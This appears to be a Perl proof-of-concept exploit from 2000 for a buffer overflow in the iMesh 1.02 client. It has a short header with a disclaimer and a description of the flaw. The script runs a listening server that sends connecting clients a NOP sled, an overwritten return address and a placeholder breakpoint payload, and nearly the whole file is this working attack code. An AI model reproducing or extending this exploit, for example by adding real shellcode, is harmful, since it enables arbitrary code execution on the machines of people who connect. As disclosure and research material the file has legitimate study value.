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58 lines
1.4 KiB
Plaintext
58 lines
1.4 KiB
Plaintext
#
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# iMesh 1.02 vulnerability
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# Chopsui-cide[MmM] 2000
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# http://midgets.box.sk/
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#
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# ----------------------------------------------------------
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# Disclaimer: this file is intended as proof of concept, and
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# is not intended to be used for illegal purposes. I accept
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# no responsibility for damage incurred by the use of it.
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# ----------------------------------------------------------
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#
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# A buffer overflow exists in iMesh 1.02 that allows the execution
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# of arbitrary code. When the iMesh client connects to a server,
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# the server is able to exploit the vulnerability and execute
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# arbitrary code on the system the client is running on.
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#
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use IO::Socket;
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$localhost = "localhost";
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$port = "5000";
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# Dummy payload
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$payload = "";
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$c = 0;
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while($c < 0x1aa) {
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$payload .= "\x90";
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$c += 1;
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};
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$payload .= "\xcc"; # raise exception 03h
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$es = "";
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$c = 0;
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while($c < 0x2723) {
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$es .= "\x90";
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$c += 1;
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};
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$es .= "\x43\x04\x43\x00";
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$c = 0;
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while($c < 12) {
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$es .= "\x90";
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$c += 1;
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};
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$es .= $payload;
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#print "$es";
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$lsock = IO::Socket::INET->new(Proto=>"tcp", LocalHost=>$localhost, LocalPort=>$port, Listen=>1) || die "unable to create socket
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.\n";
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print "waiting for connection on port $port...";
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$accsock = $lsock->accept();
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print "connected.\n";
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print $accsock "$es";
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sleep(5);
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close($accsock);
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close($lsock);
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